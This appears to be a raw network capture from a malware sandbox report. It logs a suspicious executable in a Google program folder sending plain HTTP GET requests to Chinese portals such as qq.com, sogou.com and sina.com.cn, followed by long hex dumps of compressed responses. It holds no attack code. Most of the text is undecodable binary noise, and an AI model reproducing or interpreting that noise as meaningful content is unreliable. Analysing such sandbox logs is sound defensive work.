Aug 5, 2024 12:00:39.585959911 CEST	199	IN	HTTP/1.1 307 Temporary Redirect Server: YDWS Date: Mon, 05 Aug 2024 10:00:39 GMT Transfer-Encoding: chunked Connection: keep-alive Location: https://youdao.com/ Data Raw: 31 33 0d 0a 68 74 74 70 73 3a 2f 2f 79 6f 75 64 61 6f 2e 63 6f 6d 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 13https://youdao.com/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49768	43.132.73.61	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:37.993966103 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.qq.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:38.948962927 CEST	368	IN	HTTP/1.1 302 Found Server: stgw Content-Type: text/html Location: https://www.qq.com/ Content-Length: 137 Connection: keep-alive Date: Mon, 05 Aug 2024 10:00:38 GMT EO-LOG-UUID: 9092953310311379708 EO-Cache-Status: MISS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 67 77 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49769	119.28.109.132	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.000838041 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sogou.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.055789948 CEST	564	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Mon, 05 Aug 2024 10:00:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: ABTEST=0\|1722852038\|v17; expires=Wed, 04-Sep-24 10:00:38 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://www.sogou.com/ UUID: 7b0ddeca-cdaf-41c0-91e0-eb1481b7b1d6 Data Raw: 38 61 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49770	103.235.46.98	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.040139914 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hao123.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.332155943 CEST	673	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html;charset=UTF-8 Cxy_all: +5735c972f559ae362b25b91c047d56ef Date: Mon, 05 Aug 2024 10:00:39 GMT Lfy: gzbh.89914 P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.9.12 Set-Cookie: s_ht_pageid=16; path=/; domain=.hao123.com Set-Cookie: ft=1; expires=Mon, 05-Aug-2024 15:59:59 GMT Set-Cookie: v_pg=normal Set-Cookie: hz=0; path=/; domain=www.hao123.com Set-Cookie: BAIDUID=D7DEF63659F42971C61F328AD9BF2ED8:FG=1; expires=Tue, 05-Aug-25 10:00:39 GMT; max-age=31536000; path=/; domain=.hao123.com; version=1 Tracecode: 00387915472453053962080518 Vary: Accept-Encoding Transfer-Encoding: chunked
Aug 5, 2024 12:00:39.332282066 CEST	1236	IN	Data Raw: 64 34 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 97 23 c9 75 20 f6 7d 7e 05 d8 ed 61 77 0d 91 59 48 bc 81 62 53 ec 27 39 96 86 1a 0f 87 12 b9 e4 a8 4e 02 48 54 61 1a 05 40 78 74 75 b3 a6 ce 91 f7 ac 1e d6 ca d6 ae bd bb 5e 5b f6 d9 2f f6 59 Data Ascii: d46k#u }~awYHbS'9NHTa@xtu^[/Ye{1R\|7HTupI83227'\|vxn6Y:x=[mlB*~{7{:xf;>Txz=Hygv}<]&
Aug 5, 2024 12:00:39.332309961 CEST	1236	IN	Data Raw: 4e b7 bf f1 dd ce e4 57 a7 ab ef 9d fe e0 f4 49 cb 02 73 7c 30 9c a3 df f8 fe de 4e 4b 21 f5 d1 39 18 3d 4c 5e 7c 6b 94 36 cf be d7 5c 7d 30 9a 5e 0c be f5 bd 5f fd 38 ba 94 90 8e 27 8b 06 4c 90 44 3b e1 74 71 47 ce ff 6c 9d ae ce f9 31 09 41 b1 Data Ascii: NWIs\|0NK!9=L^\|k6\}0^_8'LD;tqGl1A^'6{>HMbWE+n~RWS?sWG_oif:[qvohgYA7~[?:kG;h\|4n1E6
Aug 5, 2024 12:00:39.332325935 CEST	1236	IN	Data Raw: 45 8c 5a 33 c2 a2 cd cf d2 c5 70 7f 8f 17 68 f1 66 8d 92 83 a0 b7 89 82 81 07 65 7e 46 44 8f 92 93 d9 99 6a 41 2e ba 1f 92 79 cc bf 7c 52 e7 6f 60 04 66 5b fd 05 90 7e 31 db 7e 72 a5 f9 4d ba 5a 65 29 f4 37 ce 86 fc 96 02 c7 e7 cd aa 37 d5 77 e1 Data Ascii: EZ3phfe~FDjA.y\|Ro`f[~1~rMZe)77wsJe\|(PA\|A^[{D2c%%,.mfstUA]ZCgg`J\|bV$8;<G$P]6S1eky6~0]
Aug 5, 2024 12:00:39.332413912 CEST	1236	IN	Data Raw: a0 19 45 e3 e1 c3 5e af a1 f6 25 88 63 39 c0 5d 7e 78 48 e7 e0 f3 de 6c 15 b3 51 f3 25 e6 24 08 22 b0 cb 68 21 19 dd 4a 97 d1 d6 3b 41 57 f1 75 d0 cc 80 29 20 17 24 bd 2d 27 33 43 18 4c 66 9d 7c 01 f0 a3 16 cd 89 d9 d2 20 76 01 0f b8 13 88 e9 91 Data Ascii: E^%c9]~xHlQ%$"h!J;AWu) $-'3CLf\| vbb@,"n8?`mzZ3`#\C5&Zq+%(b6nQ1(QJMsXZ\|=Hn$\|2[N{sew\|"z\|<-xCVg /8B
Aug 5, 2024 12:00:39.332429886 CEST	1236	IN	Data Raw: 3b a6 0d 92 5e 42 62 37 84 25 78 e6 52 4f 7c 06 8f 1f f2 53 e7 4d 1b 79 23 c8 a0 7b fe 89 ea 40 46 84 21 dd c6 7e 31 02 76 f9 00 a2 3f 8b f0 7a 89 c7 ca 96 e2 e8 0e e1 86 58 6e 34 80 e4 0f d4 1b 7a 2d 91 bf 54 c4 3b 29 54 b3 07 63 aa 4d 21 d6 f8 Data Ascii: ;^Bb7%xRO\|SMy#{@F!~1v?zXn4z-T;)TcM!y4N} `[N8p/5B`+&+fI90^vZt+kK0?.nx\QcIh/,fUfCZfw3ZRJ%
Aug 5, 2024 12:00:39.332447052 CEST	1236	IN	Data Raw: 17 b5 43 f1 9c 82 5d 90 11 c7 74 ce 44 f8 25 7c 04 8a e0 30 d1 06 aa f1 d8 55 8e bc ea 42 81 53 28 28 e9 54 52 ab 38 6e 29 ab 36 00 24 d6 b1 8e 06 d4 4b 54 27 da e3 66 f8 34 4e 13 3c 0d 39 2a d4 b9 d9 bc 18 98 5b d7 88 4f 71 9a f5 e1 f6 35 6f c1 Data Ascii: C]tD%\|0UBS((TR8n)6$KT'f4N<9*[Oq5oG#0Zc#2B4B33Fg:s-<R,JDeH:2PGF-0\|S{Hyk)A1l5p=1+
Aug 5, 2024 12:00:39.332461119 CEST	85	IN	Data Raw: 1d 57 1c d0 df e3 79 95 4a ce 9d 69 a1 b8 63 09 de ce 45 78 8b 64 ae bf 83 b2 0c 32 93 f3 82 77 f8 9e 16 40 aa aa 17 ed bc dc 75 43 45 b1 45 a1 14 54 13 88 9d c0 b0 b5 bb 59 8a 7f 45 98 3d 9f 04 d8 87 a2 7e 2e 1c a5 14 44 12 86 58 5b a5 96 e0 6c Data Ascii: WyJicExd2w@uCEETYE=~.DX[l}
Aug 5, 2024 12:00:39.333200932 CEST	1236	IN	Data Raw: 2c e4 f9 94 0e b8 13 25 bd ca 4a b6 5a 44 86 16 0e 48 05 ea 95 ec 8a d4 20 54 56 94 55 6f b6 93 55 e9 4e aa 43 52 63 13 b9 67 fc 3e 31 16 e1 8a 35 45 d2 c4 d5 46 72 02 a4 60 a9 0d d7 6b e1 5f 11 36 79 02 ee fe 87 4d 13 64 c8 8a df c8 d2 7c c8 6f Data Ascii: ,%JZDH TVUoUNCRcg>15EFr`k_6yMd\|o^'ET1cW18OTn[]>t[W'XK37zp%\7If5vKk6)\xpbP?w^=,!iS@Zr}UUGXbD[-qHG
Aug 5, 2024 12:00:39.333271027 CEST	1236	IN	Data Raw: f2 76 29 35 39 df 76 23 de e6 f9 7d 84 92 49 88 73 fd 2e 36 ff 13 60 28 d6 ab 75 50 75 35 43 4e 38 00 a9 72 26 ea 10 91 23 3a d7 d9 14 c4 e2 39 5f ae 82 12 ee 57 4e 4f 37 2b b8 d8 3a 2b ad 64 0b ec a6 86 cc 4c ae 04 8e a5 47 09 b3 78 92 e5 6a 43 Data Ascii: v)59v#}Is.6`(uPu5CN8r&#:9_WNO7+:+dLGxjCk}n`gaHoc"-R>!AHA\c`+\*HHM$mB2_YhkFd-jw{(-It]F5Ot(D-m+Gg
Aug 5, 2024 12:00:39.337286949 CEST	1236	IN	Data Raw: 38 6f c5 6e 1f 43 66 68 2e 64 39 fe e9 f6 38 82 d8 de 7a 96 2e ce e0 56 f1 dc 47 ea 45 20 39 a4 8e 62 4b a1 22 10 86 54 09 28 a5 6d 74 a8 12 26 ea e0 d4 d7 bb 09 39 ba 36 67 e4 85 e2 22 76 79 95 4d 68 b4 bd 50 0b 5a 34 21 5c 18 f6 f0 16 4f a8 b4 Data Ascii: 8onCfh.d98z.VGE 9bK"T(mt&96g"vyMhPZ4!\OM`Bw6];\`gwiP.ZP*GaAdQvJy<MI4sg_e{?Pxll0KCl?7{!)}`U?dY+I%u,Wt]FcE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49771	104.192.110.226	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.062926054 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.so.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:40.629448891 CEST	425	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.3 Date: Mon, 05 Aug 2024 10:00:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.so.com/ Set-Cookie: QiHooGUID=; Max-Age=63072000; Domain=so.com; Path=/ Data Raw: 38 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8e<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49772	163.181.130.181	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.067013025 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.1688.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:38.695776939 CEST	466	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 10:00:38 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.1688.com/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49773	163.181.201.237	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.076540947 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sina.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.037293911 CEST	581	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 10:00:38 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.sina.com.cn/ X-DSL-CHECK: 5 X-Via-CDN: f=aliyun,s=ens-cache1.sg25,c=8.46.123.33; Via: ens-cache1.sg25[,0] Timing-Allow-Origin: * EagleId: a3b5c99517228520388545241e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49774	49.51.65.181	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.084739923 CEST	214	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: soso.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:38.665221930 CEST	347	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Aug 2024 10:00:38 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://soso.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49775	43.159.71.118	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.085025072 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sohu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:38.986171007 CEST	226	IN	HTTP/1.1 302 Found Location: https://www.sohu.com/ Content-Length: 0 X-NWS-LOG-UUID: 11614598751116093626 Connection: keep-alive Server: OverSea_E0 Date: Mon, 05 Aug 2024 10:00:38 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49776	120.26.110.170	80	7812	C:\Program Files (x86)\Google\C2485384.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 12:00:38.609220028 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: foodmate.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 12:00:39.585242033 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Aug 2024 10:00:39 GMT Content-Type: text/html; charset=gbk Last-Modified: Mon, 05 Aug 2024 09:53:35 GMT Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"66b0a11f-29935" Content-Encoding: gzip Data Raw: 34 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 73 1b 57 92 28 fa bd 23 ee 7f c0 60 5e 8f e5 e8 06 b1 12 24 65 8b 1d 1e bb bb c7 f7 4e f7 f8 5d fb c5 7d 2f 3a 3a 14 20 01 8a b0 b8 99 04 b5 f8 f5 bb 5f ef ef 00 21 4b 24 45 99 d8 f7 85 20 41 10 fb 4e 80 a2 64 4b a2 64 b9 25 51 92 2d 5a a2 44 4a 8e 97 59 85 02 aa 80 02 aa b0 50 52 df 71 bb 43 04 50 75 ce c9 cc 93 27 4f 9e 3c b9 bc ff 4f 1f fd c7 87 9f fd 3f 9f fc 5e 30 aa 1b 1f 13 7c f2 7f fd eb bf 7f fc a1 40 28 12 8b ff 87 fc 43 b1 f8 a3 cf 3e 12 fc df ff f6 d9 9f fe 5d 20 ed 91 08 3e 9b 56 4d cc 68 75 da c9 09 d5 98 58 fc fb 3f 0b 05 c2 51 9d 6e ea b8 58 7c f6 ec d9 9e b3 f2 9e c9 e9 53 e2 cf fe bb f8 1c f6 25 c5 c6 e5 8f 22 1d ad 65 8f 5a a7 16 0e fe ea 7d 62 c0 73 e3 63 13 33 27 58 ba 91 0e 0c 0c 90 ad 89 77 35 2a 35 fc 19 d7 e8 54 00 a8 6e 4a a4 f9 62 56 7b e6 84 f0 c3 c9 09 9d 66 42 27 fa ec fc 94 46 28 18 26 bf 9d 10 ea 34 e7 74 62 ec ff 3d c1 f0 a8 6a 7a 46 a3 3b 71 6a 48 26 97 ca 84 62 e8 45 a7 d5 8d 69 06 63 96 b0 c3 f3 d8 78 2f f9 [TRUNCATED] Data Ascii: 4000isW(#`^$eN]}/:: _!K$E ANdKd%Q-ZDJYPRqCPu'O<O?^0\|@(C>] >VMhuX?QnX\|S%"eZ}bsc3'Xw55TnJbV{fB'F(&4tb=jzF;qjH&bEicx/0_VW~U#~1G.Dybu24%o}!PkNOkVvJ%F<q%/1K\|X6 <#>d/d?~$8_`7t&PkfS85m l!ju%KKNh:Dr&E?H#iC]WK-!AH>GJ2cinxV':`BF\|ND6:!qZ;~gdrR=iz&4:1E<:zA&'OOU3cQFG@p0_/vB9'v@$r$!:\uFE</OLOONF8;NOtdDhGc:5`fzLI{z{d=L#;EB": x`zX"D)[!8b,#1&U#$A,6/oLIU
Aug 5, 2024 12:00:39.585273027 CEST	1236	IN	Data Raw: 1a f1 e7 33 e2 d1 c9 71 cd c9 7a ea 30 57 99 12 57 19 4d da 75 41 50 cc 9c d6 4e 88 d5 9a 11 d5 ec 98 4e ac d5 28 09 71 81 42 b5 1d 46 66 43 73 4c 35 71 4a fc e5 a8 68 78 42 8c 1f bb 4d 40 72 0d 88 41 52 8f 68 db ed bc f9 46 00 93 33 3e 39 04 93 Data Ascii: 3qz0WWMuAPNN(qBFfCsL5qJhxBM@rARhF3>9f(g45:IF>!hrN\&aJ31S.4+q6#'&&''Nk4(YO#*&6V/V&mzCMhOM[
Aug 5, 2024 12:00:39.585295916 CEST	1236	IN	Data Raw: 9d 39 89 76 ad 93 20 9d 00 b2 3a 4d 61 76 46 33 5d 33 0a f3 88 48 68 e2 00 8a bc 9f 10 6e d0 05 a1 45 12 7a 07 4f b0 4f cd 82 9d 49 2b ae 07 16 2d 85 2d 76 f4 39 4b 3f d4 76 37 73 16 34 18 d7 81 20 b9 d3 4a a7 e3 2a ed d8 98 76 06 e6 a3 8e 98 c9 Data Ascii: 9v :MavF3]3HhnEzOOI+--v9K?v7s4 J*vb'(#Z)W4c+`xY6tQ!<3p&$LamDaM(U-B@n^~~^TC.e7`\56C4a18
Aug 5, 2024 12:00:39.585338116 CEST	1236	IN	Data Raw: fe dd e4 6c 32 38 61 90 63 8e 4c b5 6a 77 e4 81 32 d1 93 de 40 b3 d5 ac 20 1c 57 c0 91 85 b9 bc 60 b6 b0 61 9b 83 cb 51 78 91 77 a2 81 e5 26 68 57 0c d9 2c a3 97 0d d9 6d 2c 70 39 2e 70 c2 97 38 d5 54 78 82 0b eb cc e4 04 0b e6 d8 ae 5d cc 09 59 Data Ascii: l28acLjw2@ W`aQxw&hW,m,p9.p8Tx]Ycs!Wa;r\hF&DLSW}d3brT5<<U:eJCl{\:u=MXQFvMQ~"L+delv>YLCSrMifVemu;G@>
Aug 5, 2024 12:00:39.585364103 CEST	1236	IN	Data Raw: 61 b6 80 3a d5 a0 0e 76 3e 11 3b bd 62 a9 52 2c ed 13 49 fa 44 72 99 a8 4f 46 51 8c 08 a8 79 eb 28 46 dd 7d 81 76 79 4a 3b 21 1a 9a d4 e9 26 c7 8f 4b a6 ce bd 57 bf 37 f2 66 3e b9 04 18 a2 56 cf 6a 8b 98 7d 04 31 15 22 99 5c 24 91 8b e4 03 6c e1 Data Ascii: a:v>;bR,IDrOFQy(F}vyJ;!&KW7f>Vj}1"\$lO+BWc&#b5,y<huB6zbbD&+?zU"I];[#*lUBH]&OTCbX/V(2)%t?8sm%z\^Us
Aug 5, 2024 12:00:39.585388899 CEST	1236	IN	Data Raw: c3 0d 51 bb 2d 3b e0 63 59 3f 07 1f 17 c2 a1 74 7e 25 ec 4b 6f 19 dc 85 ef ed cb 05 93 7e ae f0 bd 39 10 fb 41 10 58 04 af a6 15 87 3d b5 07 b1 4e 19 bb 3f 67 8c 1e f8 0f 8a f0 29 73 68 bd 2c 1c 6c bb 69 47 f8 70 1c 27 22 11 eb f3 f8 d7 ae c3 f4 Data Ascii: Q-;cY?t~%Ko~9AX=N?g)sh,liGp'"#WE<Est(o2q\pxwneW9~&;>yL@DDvd5NBeM,n5X%%_/:Aov-J4=F v'?
Aug 5, 2024 12:00:39.585405111 CEST	1236	IN	Data Raw: ee a1 f8 35 b8 21 b7 ce 01 7e 43 40 a3 e9 cd 0d c3 52 ee 49 6c d3 12 dd 30 fa 8d a6 3b 66 30 b3 b7 f6 7e 47 90 73 6c 4f 58 b4 21 9f 2c 65 49 c8 d1 85 14 9d 2e 1c b7 cc 07 85 ed e4 21 f8 ed c0 33 c4 23 bd 6a 83 8a 12 ad bc dd 11 d4 1c db 03 c2 11 Data Ascii: 5!~C@RIl0;f0~GslOX!,eI.!3#j:Ivm%!y8{-V[uXTpQTl!zl3{V#9IiBx\+V-'kwWO+R_'na0l]dW\|"
Aug 5, 2024 12:00:39.585422993 CEST	1236	IN	Data Raw: 13 42 1c 96 f0 13 c6 49 a7 16 bd a5 1b 37 6e 02 e7 b4 de a6 23 0c 38 78 9f 09 8d 15 0e fd 8d e0 c7 bc 0d 70 67 bd 70 f3 7b cb dd 9b 10 85 d9 6e cb f6 b0 e9 c3 6c 30 92 5e 0e a3 10 6e c6 98 8d 64 6d 3f b2 99 b3 17 cd a9 c7 fe af 6c a1 e2 95 9c 1b Data Ascii: BI7n#8xpgp{nl0^ndm?lLEU8~V\A.R[7"^q8=%nM9[?PXyv5Ds%@7h#$m!KonoiFg:S-w+WakE8
Aug 5, 2024 12:00:39.585438013 CEST	1236	IN	Data Raw: d8 a6 ef 25 6c 75 92 dc b6 c1 63 7f 16 8c af 59 4d 2f 4c 57 92 3b ab 3f 15 9e c9 7b 25 bf 36 78 70 b7 c0 a9 f5 5f f7 3f 0f 6d fb 1f 32 f6 84 4e 3a ea 00 57 69 3f 87 74 24 13 8d 35 dd 9e 4b 4f 12 bb b8 a7 4b 7a 7a ab 7b 3a 64 27 6b a9 51 27 38 70 Data Ascii: %lucYM/LW;?{%6xp_?m2N:Wi?t$5KOKzz{:d'kQ'8p[q"nxHRwq\|?K?mI{Do-'{}<\m<UA[O( ipt\AnaW:7k0g](H"SL*R\-b-6v.}LZO?
Aug 5, 2024 12:00:39.585454941 CEST	1236	IN	Data Raw: 96 78 f1 e4 84 ea 8c 40 3b 3c 09 85 3b 47 a7 35 23 27 84 a3 3a dd 14 5b 35 51 d5 c4 c4 e4 ec c4 30 4b 5d 68 a2 fe 3b a6 2f 43 c4 7f 05 f5 ea 07 ff 0b 6b 5d cc a1 a1 99 9e 91 c9 49 f5 b8 4a a7 e9 99 d0 e8 c4 3a 18 51 a5 16 49 e5 0a b9 72 00 ea 02 Data Ascii: x@;<;G5#':[5Q0K]h;/Ck]IJ:QIr8 ji_ Cw7{CT\|lc?2UmhvAOsnT;gF'LNNCTTrm`'u>Bv&y=1@dkPYD.y<\
